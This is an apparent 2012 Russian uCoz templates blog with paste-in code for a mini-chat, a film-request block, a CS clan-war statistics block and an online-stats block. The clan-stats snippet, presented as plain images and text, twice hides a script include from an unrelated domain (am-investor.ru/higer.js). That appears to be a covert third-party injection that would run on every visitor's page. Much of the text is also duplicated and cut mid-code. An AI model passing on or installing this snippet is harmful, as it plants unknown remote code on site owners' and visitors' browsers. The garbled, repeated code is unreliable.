- Aninew
- 06.10.2012
- 0
- 375
Выкладываю в паблик мини-чат со своего сайта..
Полностью рабочий, многофункциональный, светлый и красивый мини-чат.
Он будет красиво смотреться почти на любом сайте..
В общем всё ясно видно на скриншоте.
Особенности:
- Имеются оригинальные ВВ-Коды
- Отображение аватаров пользователей;
- Счётчик количества оставшихся символов;
- Приятный дизайн;
Установка:
Заходим в ПУ > Управление дизайном > Мини-Чат > Вид материалов
И всё заменяем на этот код:
Code
<?if($NUMBER$=1)?><style>body {background: #ffffff !important;}
a.ipbavatar {
width: 40px;
height: 40px;
}a.ipbavatar {
display: block;
float: left;
position: relative;
top: 0px;
left: 0px;
bottom: 0px;
right: 0px;
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.5) inset;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
}
.linnov {
overflow: hidden;
border-bottom: 1px dotted #D7D9DB;
}
a.ipbavatar img {
width: 40px;
height: 40px;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;float: left;
width: 40px;
height: 40px;
}
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;
}
</style>
<?endif?>
<div id="iChat-messages" align="left" style="padding-top:2px;">
<div style="word-wrap:break-word;">
<div style="background:#ffffff;padding:1px;border:1px solid #cfcece;border-radius:2px;">
<table border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td width="38" style="padding: 2px;">
<a class="ipbavatar" style="text-decoration:none" title="Профиль" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');">
<?if($AVATAR_URL$)?>
<img alt="$USERNAME$" src="$AVATAR_URL$" style="float: left;width: 40px;height:40px;">
<?else?>
<img alt="$USERNAME$" src="http://ili.pp.ua/imgc/noavatar.png" style="float: left;width: 40px;height:40px;">
<?endif?>
</a>
</td>
<td style="font-size:7pt; color:#666; padding-left:4px;">
<b>
<a style="text-decoration:none" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$NAME$[/b], ';return false;">
<?if($USER_ID$=1)?><span style="color:#008000"><?else?><span style="color:#248BFF"><?endif?>$USERNAME$</span></a></b> написал<br>
<span style="font-size:7pt">$DATE$ в $TIME$</span>
<br>
<span style="color:#cccccc; font-size:7pt;">
<a style="text-decoration:none" href="/index/14-$USER_ID$-0-1" target="_blank" title="Написать ЛС"><span style="color:#527D24">Написать письмо</a>
</span>
</td>
</tr>
</tbody>
</table>
<div class="linnov">
</div>
<div style="padding:3px; text-align:left;">
$MESSAGE$
</div>
</div></div>
</div>
a.ipbavatar {
width: 40px;
height: 40px;
}a.ipbavatar {
display: block;
float: left;
position: relative;
top: 0px;
left: 0px;
bottom: 0px;
right: 0px;
box-shadow: 0px 1px 3px rgba(0, 0, 0, 0.5) inset;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
}
.linnov {
overflow: hidden;
border-bottom: 1px dotted #D7D9DB;
}
a.ipbavatar img {
width: 40px;
height: 40px;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;float: left;
width: 40px;
height: 40px;
}
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;
}
</style>
<?endif?>
<div id="iChat-messages" align="left" style="padding-top:2px;">
<div style="word-wrap:break-word;">
<div style="background:#ffffff;padding:1px;border:1px solid #cfcece;border-radius:2px;">
<table border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td width="38" style="padding: 2px;">
<a class="ipbavatar" style="text-decoration:none" title="Профиль" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');">
<?if($AVATAR_URL$)?>
<img alt="$USERNAME$" src="$AVATAR_URL$" style="float: left;width: 40px;height:40px;">
<?else?>
<img alt="$USERNAME$" src="http://ili.pp.ua/imgc/noavatar.png" style="float: left;width: 40px;height:40px;">
<?endif?>
</a>
</td>
<td style="font-size:7pt; color:#666; padding-left:4px;">
<b>
<a style="text-decoration:none" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$NAME$[/b], ';return false;">
<?if($USER_ID$=1)?><span style="color:#008000"><?else?><span style="color:#248BFF"><?endif?>$USERNAME$</span></a></b> написал<br>
<span style="font-size:7pt">$DATE$ в $TIME$</span>
<br>
<span style="color:#cccccc; font-size:7pt;">
<a style="text-decoration:none" href="/index/14-$USER_ID$-0-1" target="_blank" title="Написать ЛС"><span style="color:#527D24">Написать письмо</a>
</span>
</td>
</tr>
</tbody>
</table>
<div class="linnov">
</div>
<div style="padding:3px; text-align:left;">
$MESSAGE$
</div>
</div></div>
</div>
Теперь заходим в "Мини-Чат > Форма добавления сообщений"
И всё заменяем на этот код:
Code
<?if(!$CAN_ADD$)?><div align="center"><?if($LOGIN_LINK$)?>
<a href="$LOGIN_LINK$">
<div style="background:#F3F3F3;padding:5px 0 5px 0;border:1px solid #eaeaea;color:#444;border-radius:4px;margin:10px 0 0 0;font-size:7pt;">
Для добавления необходима авторизация<br/></div></a>
<?else?>Доступ запрещен<?endif?></div><?else?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr>
<td width="70%" align="left">
<a href="$RELOAD_URI$" title="Обновить">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/arrow.png"></a>
<?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/smiley.png"></a>
<?endif?>
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/edit_bg.png" width="15" height="15"></a>
<?endif?>
<br>
<a href="javascript:void('Apply to')" onclick="bbCode('b');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/bold.png" height="16" width="16" title="Полужирный" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('i');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/italic.png" height="16" width="16" title="Курсив" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('u');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/underline.png" height="16" width="16" title="Подчёркнутый" /></a>
<a href="javascript://" onclick="url_mchat();return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/link.png" height="16" width="16" title="Ссылка" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('quote');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/quotes.png" height="16" width="16" title="Цитата" /></a>
<td>$FLD_AUTOUPD$<br><div align="right"><b id="jeuwu28">$MAX_MESSAGE_LEN$</b></div></td>
<?if(!$USER_LOGGED_IN$)?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td colspan="2">$FLD_NAME$</td></tr>
<tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>
</table>
<?endif?>
<?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>
</table>
<?endif?>
<?if($FLD_SECURE$)?>
<table class="micha" border="0" cellpadding="1" cellspacing="1">
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>
</table>
<?endif?>
<script type="text/javascript">
function sbtFrmMC991(f){$('#mchatBtn').css({display:'none'});$('#mchatAjax').css({display:''});_uPostForm('MCaddFrm',{type:'POST',url:'/mchat/?29399178.7043772'});}
function countMessLength(){var rst = 300-$('#mchatMsgF').val().length;if (rst<0){rst=0;$('#mchatMsgF').val($('#mchatMsgF').val().substr(0,300));}$('#jeuwu28').html(rst);}
var tID7174=-1;var tAct7174=false;
function setT7174(s){var v=parseInt(s.options[s.selectedIndex].value);document.cookie="mcrtd="+s.selectedIndex+"; path=/";if(tAct7174){clearInterval(tID7174);tAct7174=false;}if(v>0){tID7174=setInterval("document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();",v*1000);tAct7174=true;}}
function initSel7174() {var res=document.cookie.match(/(\W|^)mcrtd=([0-9]+)/);if(res){s=$("#mchatRSel")[0];;s.selectedIndex=parseInt(res[2]) ... Читать дальше »
<a href="$LOGIN_LINK$">
<div style="background:#F3F3F3;padding:5px 0 5px 0;border:1px solid #eaeaea;color:#444;border-radius:4px;margin:10px 0 0 0;font-size:7pt;">
Для добавления необходима авторизация<br/></div></a>
<?else?>Доступ запрещен<?endif?></div><?else?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr>
<td width="70%" align="left">
<a href="$RELOAD_URI$" title="Обновить">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/arrow.png"></a>
<?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/smiley.png"></a>
<?endif?>
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями">
<img alt="" border="0" align="absmiddle" src="http://ili.pp.ua/imgc/edit_bg.png" width="15" height="15"></a>
<?endif?>
<br>
<a href="javascript:void('Apply to')" onclick="bbCode('b');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/bold.png" height="16" width="16" title="Полужирный" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('i');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/italic.png" height="16" width="16" title="Курсив" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('u');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/underline.png" height="16" width="16" title="Подчёркнутый" /></a>
<a href="javascript://" onclick="url_mchat();return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/link.png" height="16" width="16" title="Ссылка" /></a>
<a href="javascript:void('Apply to')" onclick="bbCode('quote');return false;">
<img border="0" align="absmiddle" src="http://ili.pp.ua/imgc/quotes.png" height="16" width="16" title="Цитата" /></a>
<td>$FLD_AUTOUPD$<br><div align="right"><b id="jeuwu28">$MAX_MESSAGE_LEN$</b></div></td>
<?if(!$USER_LOGGED_IN$)?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td colspan="2">$FLD_NAME$</td></tr>
<tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>
</table>
<?endif?>
<?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>
</table>
<?endif?>
<?if($FLD_SECURE$)?>
<table class="micha" border="0" cellpadding="1" cellspacing="1">
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>
</table>
<?endif?>
<script type="text/javascript">
function sbtFrmMC991(f){$('#mchatBtn').css({display:'none'});$('#mchatAjax').css({display:''});_uPostForm('MCaddFrm',{type:'POST',url:'/mchat/?29399178.7043772'});}
function countMessLength(){var rst = 300-$('#mchatMsgF').val().length;if (rst<0){rst=0;$('#mchatMsgF').val($('#mchatMsgF').val().substr(0,300));}$('#jeuwu28').html(rst);}
var tID7174=-1;var tAct7174=false;
function setT7174(s){var v=parseInt(s.options[s.selectedIndex].value);document.cookie="mcrtd="+s.selectedIndex+"; path=/";if(tAct7174){clearInterval(tID7174);tAct7174=false;}if(v>0){tID7174=setInterval("document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();",v*1000);tAct7174=true;}}
function initSel7174() {var res=document.cookie.match(/(\W|^)mcrtd=([0-9]+)/);if(res){s=$("#mchatRSel")[0];;s.selectedIndex=parseInt(res[2]) ... Читать дальше »
- Aninew
- 06.10.2012
- 0
- 385
Быстрый, удобный и красивый блок «Заказ фильмов» основанный на модуле "Гостевая книга (/gb)". Скрипт был сделан по просьбам пользователей. Интерфейс очень удобен и красив, отлично подойдет для светлых дизайнов, а в других случаях можно подправить под дизайн. Ах да, как и вы наверное заметили, в данном скрипте поддерживаются: переключатели, статус заказа и каптча + не мало других мелочей.
Ждем ваших комментариев.
Установка
1. В ваш CSS:
Code
.film-zblock {
border: 1px solid #255ba4; background: #417ac9 url('http://ili.pp.ua/imgc/noize.png');
}
.zblock-film {
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 5px;
}
.zcont-film {border: 1px solid #245aa4; background: #fff;}
.ztitle-film {
padding-bottom: 7px; padding-top: 1px; color: #fff; font-weight: bold; text-shadow: 0 1px 0 #1f589d;
}
.zbott-film {border-top: 1px solid #94b4dd; background: #f3f8fe; padding: 5px;}
.mes-zfilm {
border: 1px solid #95b5dc; backgrounf: #fff; padding: 3px 3px;
font-size: 11px; font-family: tahoma; color: #3d3d3d;
}
.radius2 {
-webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px;
}
.radius1 {
-webkit-border-radius: 1px; -moz-border-radius: 1px; border-radius: 1px;
}
.film {border-top: 1px dotted #e2ecf6; padding: 3px 0;}
.film .ava {width: 25px;}
.film .ava div {
display: inline-block; *display: inline; padding: 3px; border: 1px solid #c3cad4; background: #fdfdfe;
-webkit-border-radius: 25px; -moz-border-radius: 25px; border-radius: 25px;
}
.film .ava div:hover {border-color: #adb5c2;}
.film .ava div img {
width: 25px; height: 25px;
-webkit-border-radius: 25px; -moz-border-radius: 25px; border-radius: 25px;
}
.film .mes {padding-left: 5px;}
.swit {
border: 1px solid #285ca5; background: #fff; padding: 1px 5px 2px 5px; margin-top: -1px;
-webkit-border-radius: 13px; -moz-border-radius: 13px; border-radius: 13px;
}
.shot-black {background: rgba(0,0,0,0.70); padding: 5px; color: #ccc;}
.shot-input {
border: 1px solid #2d2d2d; background: #fff; padding: 4px 3px; width: 147px;
font-size: 11px; font-family: tahoma; color: #3d3d3d; vertical-align: top;
-webkit-border-top-left-radius: 2px; -webkit-border-bottom-left-radius: 2px; -moz-border-radius-topleft: 2px;
-moz-border-radius-bottomleft: 2px; border-top-left-radius: 2px; border-bottom-left-radius: 2px;
}
a.shot-link {
border: 1px solid #2d2d2d; border-left: 0; background: #454545 url('http://ili.pp.ua/imgc/noize.png');
display: inline-block; *display: inline; text-decoration: none; color: #f7f7f7;
-webkit-border-top-right-radius: 2px; -webkit-border-bottom-right-radius: 2px; -moz-border-radius-topright: 2px;
-moz-border-radius-bottomright: 2px; border-top-right-radius: 2px; border-bottom-right-radius: 2px;
}
a.shot-link:hover {background-color: #4d4d4d; color: #fff;}
a.shot-link span {
display: inline-block; *display: inline; text-shadow: 0 1px 0 #000;
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 4px 6px;
}
.ishot-ugl {
width: 0; height: 0; position: absolute; margin-left: 175px; margin-top: -30px;
border-top: 5px solid transparent; border-left: 5px solid rgba(0,0,0,0.70); border-bottom: 5px solid transparent;
}
a.zlink {
border: 1px solid #245aa2; background: #417cc8 url('http://ili.pp.ua/imgc/noize.png');
display: inline-block; *display: inline; text-decoration: none; color: #f7f7f7;
}
a.zlink:hover {background-color: #5a8bce; color: #fff;}
a.zlink span {
display: inline-block; *display: inline; text-shadow: 0 1px 0 #1f589d;
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 3px 6px;
}
.istat-send {position: absolute; margin-top: -21px; padding: 4px 8px;}
.icap-zfilm {position: absolute; margin-top: -50px; padding: 5px;}
.icapchik {
border: 1px solid #2d2d2d; background: #fff; height: 35px; width: 53px; vertical-align: top;
padding: 3px; font-weight: bold;
}
border: 1px solid #255ba4; background: #417ac9 url('http://ili.pp.ua/imgc/noize.png');
}
.zblock-film {
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 5px;
}
.zcont-film {border: 1px solid #245aa4; background: #fff;}
.ztitle-film {
padding-bottom: 7px; padding-top: 1px; color: #fff; font-weight: bold; text-shadow: 0 1px 0 #1f589d;
}
.zbott-film {border-top: 1px solid #94b4dd; background: #f3f8fe; padding: 5px;}
.mes-zfilm {
border: 1px solid #95b5dc; backgrounf: #fff; padding: 3px 3px;
font-size: 11px; font-family: tahoma; color: #3d3d3d;
}
.radius2 {
-webkit-border-radius: 2px; -moz-border-radius: 2px; border-radius: 2px;
}
.radius1 {
-webkit-border-radius: 1px; -moz-border-radius: 1px; border-radius: 1px;
}
.film {border-top: 1px dotted #e2ecf6; padding: 3px 0;}
.film .ava {width: 25px;}
.film .ava div {
display: inline-block; *display: inline; padding: 3px; border: 1px solid #c3cad4; background: #fdfdfe;
-webkit-border-radius: 25px; -moz-border-radius: 25px; border-radius: 25px;
}
.film .ava div:hover {border-color: #adb5c2;}
.film .ava div img {
width: 25px; height: 25px;
-webkit-border-radius: 25px; -moz-border-radius: 25px; border-radius: 25px;
}
.film .mes {padding-left: 5px;}
.swit {
border: 1px solid #285ca5; background: #fff; padding: 1px 5px 2px 5px; margin-top: -1px;
-webkit-border-radius: 13px; -moz-border-radius: 13px; border-radius: 13px;
}
.shot-black {background: rgba(0,0,0,0.70); padding: 5px; color: #ccc;}
.shot-input {
border: 1px solid #2d2d2d; background: #fff; padding: 4px 3px; width: 147px;
font-size: 11px; font-family: tahoma; color: #3d3d3d; vertical-align: top;
-webkit-border-top-left-radius: 2px; -webkit-border-bottom-left-radius: 2px; -moz-border-radius-topleft: 2px;
-moz-border-radius-bottomleft: 2px; border-top-left-radius: 2px; border-bottom-left-radius: 2px;
}
a.shot-link {
border: 1px solid #2d2d2d; border-left: 0; background: #454545 url('http://ili.pp.ua/imgc/noize.png');
display: inline-block; *display: inline; text-decoration: none; color: #f7f7f7;
-webkit-border-top-right-radius: 2px; -webkit-border-bottom-right-radius: 2px; -moz-border-radius-topright: 2px;
-moz-border-radius-bottomright: 2px; border-top-right-radius: 2px; border-bottom-right-radius: 2px;
}
a.shot-link:hover {background-color: #4d4d4d; color: #fff;}
a.shot-link span {
display: inline-block; *display: inline; text-shadow: 0 1px 0 #000;
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 4px 6px;
}
.ishot-ugl {
width: 0; height: 0; position: absolute; margin-left: 175px; margin-top: -30px;
border-top: 5px solid transparent; border-left: 5px solid rgba(0,0,0,0.70); border-bottom: 5px solid transparent;
}
a.zlink {
border: 1px solid #245aa2; background: #417cc8 url('http://ili.pp.ua/imgc/noize.png');
display: inline-block; *display: inline; text-decoration: none; color: #f7f7f7;
}
a.zlink:hover {background-color: #5a8bce; color: #fff;}
a.zlink span {
display: inline-block; *display: inline; text-shadow: 0 1px 0 #1f589d;
background: url('http://ili.pp.ua/imgc/highlight_faint.png') repeat-x top; padding: 3px 6px;
}
.istat-send {position: absolute; margin-top: -21px; padding: 4px 8px;}
.icap-zfilm {position: absolute; margin-top: -50px; padding: 5px;}
.icapchik {
border: 1px solid #2d2d2d; background: #fff; height: 35px; width: 53px; vertical-align: top;
padding: 3px; font-weight: bold;
}
2. Гостевая книга » вид материалов, все заменить на содержимое данного файла:
Code
<div class="film todelfilm<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td class="ava" valign="top">
<?if($USERNAME$)?><a href="$PROFILE_URL$"><?endif?><div><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://ili.pp.ua/imgc/no_avatar.gif<?endif?>" border="0" alt="$NAME$" /></div><?if($USERNAME$)?></a><?endif?>
</td>
<td class="mes" valign="top">
<div style="padding-bottom: 3px; color: #666;">
<div style="float: right;">
<?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?>
<div style="display: none; position: absolute; margin-top: 0px; margin-left: -171px;"><div class="shot-black radius2" id="shot<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>">
<input class="shot-input ishot<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>" type="text" placeholder="Укажите что-либо..." /><a href="javascript:zfilm.act(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);" class="shot-link"><span>»</span></a>
</div><div class="ishot-ugl"></div></div>
<?endif?>
<?if($MODER_PANEL$)?><?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?><a href="javascript:zfilm.del(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);"><img src="http://ili.pp.ua/imgc/del.png" style="margin-top: 3px; margin-right: 1px; width:8px; height:8px;" border="0" alt="Удалить" /></a><?endif?><?endif?>
<a href="<?if($ANSWER$)?>$ANSWER$<?else?><?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?>javascript:zfilm.act2(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);<?else?>javascript://<?endif?><?endif?>"><img id="ishot-status<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>" src="<?if($ANSWER$)?>http://ili.pp.ua/imgc/Untitled-1.1339165443.png<?else?>http://ili.pp.ua/imgc/Untitled-1.1339165497.png<?endif?>" style="margin-top: 3px; width:8px; height:8px;" border="0" alt="" /></a>
</div>
<?if($USERNAME$)?>$USERNAME$<?else?>$NAME$<?endif?> <span style="color: #888;" title="$DATE$">в $TIME$</span>
</div>
<div style="color: #1d1d1d;">$MESSAGE$</div>
</td>
</tr></table>
</div>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td class="ava" valign="top">
<?if($USERNAME$)?><a href="$PROFILE_URL$"><?endif?><div><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://ili.pp.ua/imgc/no_avatar.gif<?endif?>" border="0" alt="$NAME$" /></div><?if($USERNAME$)?></a><?endif?>
</td>
<td class="mes" valign="top">
<div style="padding-bottom: 3px; color: #666;">
<div style="float: right;">
<?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?>
<div style="display: none; position: absolute; margin-top: 0px; margin-left: -171px;"><div class="shot-black radius2" id="shot<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>">
<input class="shot-input ishot<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>" type="text" placeholder="Укажите что-либо..." /><a href="javascript:zfilm.act(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);" class="shot-link"><span>»</span></a>
</div><div class="ishot-ugl"></div></div>
<?endif?>
<?if($MODER_PANEL$)?><?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?><a href="javascript:zfilm.del(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);"><img src="http://ili.pp.ua/imgc/del.png" style="margin-top: 3px; margin-right: 1px; width:8px; height:8px;" border="0" alt="Удалить" /></a><?endif?><?endif?>
<a href="<?if($ANSWER$)?>$ANSWER$<?else?><?if($CUR_GROUP_ID$='4' || $CUR_GROUP_ID$='3')?>javascript:zfilm.act2(<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>);<?else?>javascript://<?endif?><?endif?>"><img id="ishot-status<?substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9,strpos(substr($MODER_PANEL$,strrpos($MODER_PANEL$,'del_item(')+9),')'))?>" src="<?if($ANSWER$)?>http://ili.pp.ua/imgc/Untitled-1.1339165443.png<?else?>http://ili.pp.ua/imgc/Untitled-1.1339165497.png<?endif?>" style="margin-top: 3px; width:8px; height:8px;" border="0" alt="" /></a>
</div>
<?if($USERNAME$)?>$USERNAME$<?else?>$NAME$<?endif?> <span style="color: #888;" title="$DATE$">в $TIME$</span>
</div>
<div style="color: #1d1d1d;">$MESSAGE$</div>
</td>
</tr></table>
</div>
3.1. Туда, где хотите видеть блок:
Code
...
Читать дальше »
- Aninew
- 02.10.2012
- 0
- 330
скрин скрипта: http://s017.radikal.ru/i411/1210/8b/320a8f0b1e4a.jpg
Великолепная статистика по сайт клана cs, нарисовал в огненных тонах типа лавы.
Статистика кв cs, особенно будет выделятся и вообщемто смотрется на чёрных - серых дизайнах сайта.
+ Проста в установке, все файлы грузится с нашего сайта, по этому при установки не надо загружать в фм ни каких лишних файлов.
Установка:
Копируем код и вставляем в новый блок, ну или где хотите видеть саму статистику cw клана cs.
Code
<div align="center"><img src="http://s49.radikal.ru/i124/1210/db/258e07a3127f.png" alt="Победы клана"></div>
<div align="center">Победы 2</div>
<hr>
<div align="center"><img src="http://s017.radikal.ru/i412/1210/2b/64509e4a70c0.png" alt="Поражения клана"></div>
<div align="center">Поражения 2</div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<hr>
<div align="center"><img src="http://s014.radikal.ru/i329/1210/9d/28697594d328.png" alt="Забить CLAN WAR"></div>
<div align="center"><a href="http://сайт.ру">Забить CW</a></div>
<div align="center">Победы 2</div>
<hr>
<div align="center"><img src="http://s017.radikal.ru/i412/1210/2b/64509e4a70c0.png" alt="Поражения клана"></div>
<div align="center">Поражения 2</div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<hr>
<div align="center"><img src="http://s014.radikal.ru/i329/1210/9d/28697594d328.png" alt="Забить CLAN WAR"></div>
<div align="center"><a href="http://сайт.ру">Забить CW</a></div>
- Aninew
- 29.09.2012
- 0
- 342
Расширенная онлайн статистика для ucoz без php.
Всё работает на за счёт небольшого скрипта
Установка:
1) Заходим в "Общии настройки"
Кто не знает это находиться тут:
http://адрес_вашего_сайта/panel/?a=setup
И ищем пункт "Разрешить использование API", ставим галочку.
2) Где хотим видеть статистику вставляем(например в блок контейнера):
Code
<style>
#mchatIfm2 {padding-bottom: 32px;}
div.group251{background-color:#24afb1;}
span.group2{color:#008b00;}
span.group4{color:#b22222;}
span.group1{color:#a5a5a5;}
span.group3{color:#7b08b7;}
span.group255{color:#663300;}
span.group251{color:#24afb1;}
.avkas {
display: inline-block; *display: inline; background: rgba(230,230,230,0.65); padding: 5px; padding-bottom: 6px;
-webkit-box-shadow: inset 0px 0px 1px 1px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
-moz-box-shadow: inset 0px 0px 1px 1px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
box-shadow: inset 0px 0px 1px 0px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
}
.avkas div {
background: #fff; padding: 2px; display: inline-block; *display: inline;
-webkit-box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
-moz-box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
}
.rad2 {-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px;}
.wrap-but {
display: inline-block; *display: inline;
background: #e0e0e0 url("http://ili.pp.ua/img/19671782.png");
padding: 4px;
-webkit-box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17);
-moz-box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17); box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17);
}
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;
}
a.rad2 {color: #9B9B9B;}
a.rad2:hover {color: #000;}
.groupot4 {background: url(http://ili.pp.ua/img/4a.png) no-repeat;}
.groupot251{background: url(http://ili.pp.ua/img/251a.png) no-repeat;}
.groupot2{background: url(http://ili.pp.ua/img/2a.png) no-repeat;}
.groupot1{background: url(http://ili.pp.ua/img/1a.png) no-repeat;}
